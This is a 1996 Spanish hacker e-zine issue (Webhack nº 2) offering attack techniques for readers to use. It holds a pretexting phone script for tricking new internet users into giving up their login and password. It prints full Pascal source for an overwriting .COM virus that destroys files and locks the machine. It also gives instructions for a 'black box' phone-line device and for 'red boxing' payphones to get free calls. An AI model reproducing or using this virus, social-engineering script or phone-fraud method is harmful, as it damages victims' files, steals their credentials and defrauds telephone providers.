1996 << Back To Webhack nº 2

<< Prev file: FILE_ID.DIZ

---------------------------------------------------------------------------- | Numero : 2 | | | | # # ##### ###### # # # #### # # | | # # # # # # # # # # # # | | # # # ##### ###### #### ####### # # # # # | | # # # # # # # # # # #### # # # # | | # # ##### ###### # # # # #### # # | | | | Editor : KOJI | | | Ayudante: KARMA | ---------------------------------------------------------------------------- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% [Indice] -------- 1.0 Introduccion 1.1 Un poquito de Hack 1.2 Virus 1.3 Black Box 1.4 Red Box 1.5 Despedida %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% [1.0 Introduccion] ------------------ Que os creiais? que no vendriamos de nuevo? hehe pues os equivocais y por fin teneis vuestra revista preferida a vuestro alcance, muy cargadita de cosas interesantes por cierto ;), bueno en este segundo fasciculo veremos un poquito de Hack que nunca biene mal ;), tambien os ofrecemos una introduccion a los virus para mas tarde aprender a programarlos y un tipo de virus que no se ve demasiado, os damos el listado de un virus en Pascal, tambien este mes hablamos sobre Black Box y Red Box que esperemos que os guste y os sirva ;) Bueno resumiendo que la leais y vereis como mola ;) me callo ya y al grano!!!!;) empezamos?? adelanteeeeee!! (por cierto, seguimos buscando colaboradores). %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% [1.1 Un poquito de Hack (1)] ---------------------------- Bueno despues de las definiciones que os dimos en el primer numero podemos empezar con algo sencillo, facil, y que funciona en un 90% de casos diria yo. Os voy a enseñar como conseguir un pasword para poder conectar a internet para esto en realidad no hace falta saber nada de hack simplemente se necesita voluntad y inteligencia. Daremos un caso: estamos un dia sentados en clase y de repente sentimos a uno decir que en pocos dias se conectara a internet, lo cual podemos suponer que es todo un lamerillo en esto de redes y todo eso ;) simplemente necesitamos saber que proveedor le dara el accesso, cuando se lo dara mas o menos y su numero de telefono ( lo cual si esta en nuestra clase asi disimuladamente y sin decirlo de golpe poco a poco no deberia resultar dificil de que nos lo diga) si quereis y todo lo del telefono podeis preguntarle a otra segunda persona que sea muy amigo de este que se ponga internet. Pues bien una vez sabido todo esto solo queda lo mas facil, por ejemplo podeis llamar 2 dias antes de que le den el accesso a internet y nada supongo que ya os lo imaginais ;) mejor y todo que lo haga algun amigo nuestro para que no nos reconozca la voz: -Hola buenos dias llamamos de parte de (proveedor) Pedro sanchez sanchez por favor? (webhack) -Si yo mismo (Pedro) -Hola, mira llamaos de parte de (proveedor) solo llamabamos para decirte que te daremos accesso a internet en 2 dias y para confirmar tu login y Pasword a ver si todo esta correcto (webhack) -A si hola que tal, miren de pasword puse "tal" y mi login es "cual" (Pedro) -Bien gracias Pedro ya esta todo correcto en 2 dias ya te daremos el accesso, cualquier duda ponte con nuestro servicio tecnico, adios y gracias (webhack) -Adios(Pedro) y.... PREMIO!!!! ya tenemos el pasword y login ;), esto no es ninguna tonteria pero claro no se os ocurra hacerlo con alguien que ya tiene el accesso o experiencia sobre todo esto porque seguramente la pifiariais ;) pero poneros a imaginar durante unos segundos cuando os pusisteis por primera vez internet, o sea cuando no sabiais nada de nada, no ubierais caido vosotros y ubierais dicho el pasword? ;) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% [1.2 Virus (1)] --------------- Bueno como os ibamos diciendo mas abajo teneis un codigo fuente de un virus en Pascal, por supuesto poco a poco os iremos enseñando como programar virus pero ya que este es nuestro primer encuentro vamos a iniciarnos en lo mas basico de los virus, empecemos ;) Bueno supongo que todos sabeis que un virus es un programa. Que lo unico que hace es joder y nunca mejor dicho ;) Aunque tengamos virus en el disco duro y no los ejecutemos no habra forma de que se infecte (en excepcion de los virus Word que con solo abrir el documento... P O O M!!!) pero que pasa realmente cuando ejecutamos un virus? Bueno cada virus tiene su forma de infectar y no podemos contestar con exactitud esta pregunta pero la mayoria de ellos solo ejecutarse el virus se desencripta automaticamente de forma que el codigo virico queda desvelado y mas tarde pasara a realizar varias llamadas a las funciones del DOS. Mas tarde dejara paso al inicio del programa que estabamos ejecutando(ya que nosotros no sabemos que contiene virus el archivo y en realidad lo que estamos ejecutando es un virus seguido del programa en cuestion) Una vez echo todo esto el virus quedara residente en memoria infectando por supuesto el archivo Command.com de manera que cuando arranquemos el ordenador se ejecutara el command.com infectado y quedara residente el virus en memoria,(siempre que ejecutemos un archivo infectado si la memoria del ordenador no esta infectada aun, pasara a estarlo, y cada vez que ejecutemos un nuevo programa este quedara quedara infectado por el virus) Para quitarlo de la memoria simplemente seria arrancar con un disco de arranque limpio y ya no tendriamos virus en la memoria ya que usamos el command.com del disco de arranque. (sabemos que esto no es nuevo pero preferimos dejarlo claro para cuando empecemos a programar virus paciencia por favor ;) ). Bueno el mes que biene mas y ahora lo prometido es deuda aqui os va un codigo de virus en Pacal disfrutarlo ;) { -- Constants --------------------------------------- } Const VirusSize = 13847; { AIDS's code size } Warning :String[42] { Warning message } = 'This File Has Been Infected By AIDS! HaHa!'; { -- Type declarations------------------------------------- } Type DTARec =Record { Data area for file search } DOSnext :Array[1..21] of Byte; Attr : Byte; Ftime, FDate, FLsize, FHsize : Integer; FullName: Array[1..13] of Char; End; Registers = Record {Register set used for file search } Case Byte of 1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer); 2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte); End; { -- Variables--------------------------------------------- } Var { Memory offset program code } ProgramStart : Byte absolute Cseg:$100; { Infected marker } MarkInfected : String[42] absolute Cseg:$180; Reg : Registers; { Register set } DTA : DTARec; { Data area } Buffer : Array[Byte] of Byte; { Data buffer } TestID : String[42]; { To recognize infected files } UsePath : String[66]; { Path to search files } { Lenght of search path } UsePathLenght: Byte absolute UsePath; Go : File; { File to infect } B : Byte; { Used } LoopVar : Integer; {Will loop forever} { -- Program code------------------------------------------ } Begin GetDir(0, UsePath); { get current directory } if Pos('\', UsePath) <> UsePathLenght then UsePath := UsePath + '\'; UsePath := UsePath + '*.COM'; { Define search mask } Reg.AH := $1A; { Set data area } Reg.DS := Seg(DTA); Reg.DX := Ofs(DTA); MsDos(Reg); UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 } Reg.AH := $4E; Reg.DS := Seg(UsePath); Reg.DX := Ofs(UsePath[1]); Reg.CX := $ff; { Set attribute to find ALL files } MsDos(Reg); { Find first matching entry } IF not Odd(Reg.Flags) Then { If a file found then } Repeat UsePath := DTA.FullName; B := Pos(#0, UsePath); If B > 0 then Delete(UsePath, B, 255); { Remove garbage } Assign(Go, UsePath); Reset(Go); If IOresult = 0 Then { If not IO error then } Begin BlockRead(Go, Buffer, 2); Move(Buffer[$80], TestID, 43); { Test if file already ill(Infected) } If TestID <> Warning Then { If not then ... } Begin Seek (Go, 0); { Mark file as infected and .. } MarkInfected := Warning; { Infect it } BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7)); Close(Go); Halt; {.. and halt the program } End; Close(Go); End; { The file has already been infected, search next. } Reg.AH := $4F; Reg.DS := Seg(DTA); Reg.DX := Ofs(DTA); MsDos(Reg); { ......................Until no more files are found } Until Odd(Reg.Flags); Loopvar:=Random(10); If Loopvar=7 then begin Writeln(''); {Give a lot of smiles} Writeln(''); Writeln(' '); Writeln(' ATTENTION: '); Writeln(' I have been elected to inform you that throughout your process of '); Writeln(' collecting and executing files, you have accidentally Hs>Kä '); Writeln(' yourself over; again, that''s PHUCKED yourself over. No, it cannot '); Writeln(' be; YES, it CAN be, a û?ç-s has infected your system. Now what do '); Writeln(' you have to say about that? HAHAHAHA. Have Hs╛ with this one and '); Writeln(' remember, there is NO cure for '); Writeln(' '); Writeln(' ΩΩΩΩΩΩΩΩΩΩ ΩΩΩΩΩΩΩΩΩΩΩΩ ΩΩΩΩΩΩΩΩΩΩΩ ΩΩΩΩΩΩΩΩΩΩ '); Writeln(' ΩΩΩ±±±±±±ΩΩΩ ±±±±ΩΩ±±±±±± ΩΩ±±±±±±±ΩΩΩ ΩΩΩ±±±±±±±ΩΩ '); Writeln(' ΩΩ±± ΩΩ± ΩΩ± ΩΩ± ΩΩ± ΩΩ±± ±± '); Writeln(' ΩΩ± ΩΩ± ΩΩ± ΩΩ± ΩΩ± ΩΩ± '); Writeln(' ΩΩΩΩΩΩΩΩΩΩΩΩ± ΩΩ± ΩΩ± ΩΩ± ΩΩΩΩΩΩΩΩΩΩΩΩ '); Writeln(' ΩΩ±±±±±±±±ΩΩ± ΩΩ± ΩΩ± ΩΩ± ±±±±±±±±±ΩΩ± '); Writeln(' ΩΩ± ΩΩ± ΩΩ± ΩΩ± ΩΩ± ΩΩ± '); Writeln(' ΩΩ± ΩΩ± ΩΩ± ΩΩ± ΩΩΩ± ΩΩ ΩΩΩ± '); Writeln(' ΩΩ± ΩΩ± ΩΩΩΩΩΩΩΩΩΩΩΩ ΩΩΩΩΩΩΩΩΩΩΩ±± ΩΩΩΩΩΩΩΩΩΩ±± '); Writeln(' ±± ±± ±±±±±±±±±±±± ±±±±±±±±±±± ±±±±±±±±±± '); Writeln(' '); Writeln(' '); REPEAT LOOPVAR:=0; UNTIL LOOPVAR=1; end; End. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% [1.3 Black Box] --------------- Bueno pues seguimos y esta vez con Black Box. No os puedo garantizar que os vaya pero a mcuhos les funciona. Como se construye una Black Box? Se necesita una resistencia de 1800 k.onmios y 1/2 de watio y un diodo de cualquier color de 1.5 volt. y un interruptor. Total 50 pts, si quereis le comprais una caja un conector ect... *----------------------------------------------------* Linea de timo Telefono *-------/\/\/\/\/\/\/\-------!!!>>>------------------* - - - - ------------------------* -*------------------------- /\/\ resistencia !!!>>> diodo, en el sentido que indica ( el diodo lo que hace es dejar pasar la corriente en el sentido que he puesto, y segun se conecte lo hara o no. Preguntarle al vendedor o amigo, como va) * -* interruptor Se conecta la Black entre la caja y el telefono. Para saber que funciona, cuando descuelga se debe de encender la luz del diodo. Si no se enciende, cambiar los cables, y lo hara. bueno pues eso es todo el mes que biene otra cosa nueva ;) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% [1.4 Red Box] ------------- Bueno pos si, lo habeis acertado otro articulo de los mas interesantes de otra "caja" no es que os queramos decir con esto que lo mejor para hackear son las "cajas" pero bueno nosotros lo ponemos simplemente a vuestro alcance y vosotros ya decidireis que es lo mejor aya voy: Si recordais el primer numero clasificabamos a los Phreakers como aquellas personas que no pagaban al usar el telefono pues bien, esto serviria para eso asi que todo con los ojos bien abiertos ;) Ain!! "red Boxear" el arte de conseguir llamadas gratuitas haciendole pensar a la maquina que has metido monedas ;) ... bueno primero de todo...que es Red boxear? Red Boxear es simplemente hasta un telefono de pago y hacer sonar unos tonos pre-grabados (o generados). Estos tonos, que son los mismos que se producen cuando insertas 25 pesetas en un telefono de pago, son aceptados como monedas de 25 pesetas. Facil verdad? De echo para poder hacer esto tienes que vivir en New York y llamarte Garry (sigue leyendo ;) ) los 5 pasos para "Red Boxear": 1. Comprate una grabadora digital recordable. te puede costar alrededor de 2000 pesetas. 2. Graba los sonidos que hace el telefono cuando caen las monedas. (apreta el boton de volumen para que se oiga mejor)(por supuesto, cuando acabes dale al boton de devolucion de moneda.) 3. Marca el numero de la operadora. Di "que te jodan" o espera... mejor no lo hagas, espera un momento. Pregunta por la informacion, y recuerda decir "por favor". Ahora te dan la informacion. Espera a oir el mensaje pre-grabado que dice "por favor, deposite x centimos para ser conectado a el numero." 4. Despues de que el mensaje haya sido emitido, acerca el microfono del telefono a tu grabadora y haz que emita los sonidos. No acerques demasiado la grabadora, por que a veces causa distorsiones y puede causar que te reencaminen hacia el operador. Si esto ocurre entonces puedes decir "que te jodan ;)". 5. Hablar con la persona a la que llamas. Espero que disfrutes con las llamadas gratuitas. Si no lo haces, es que no te mereces llamar gratis ;). [1.5 Despedida] --------------- Se acabó, esperamos que os haya gustado este numero. En poco tiempo tendreis el siguiente numero y me vuelvo a poner pesao con las colaboraciones, pero quien quiera colaborar solo ha de escribir web_hack@hotmail.com y le daremos trabajillo ;) de esta forma cuanta mas gente colabore la revista sera mejor y podra ser publicada antes de lo normal, bueno que disfruteis de la informacion y un saludo para todos!! bye ;) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -------------------------------- | www.jet.es/~koji/ | | copyright 1996 | | Todos los derechos reservados| --------------------------------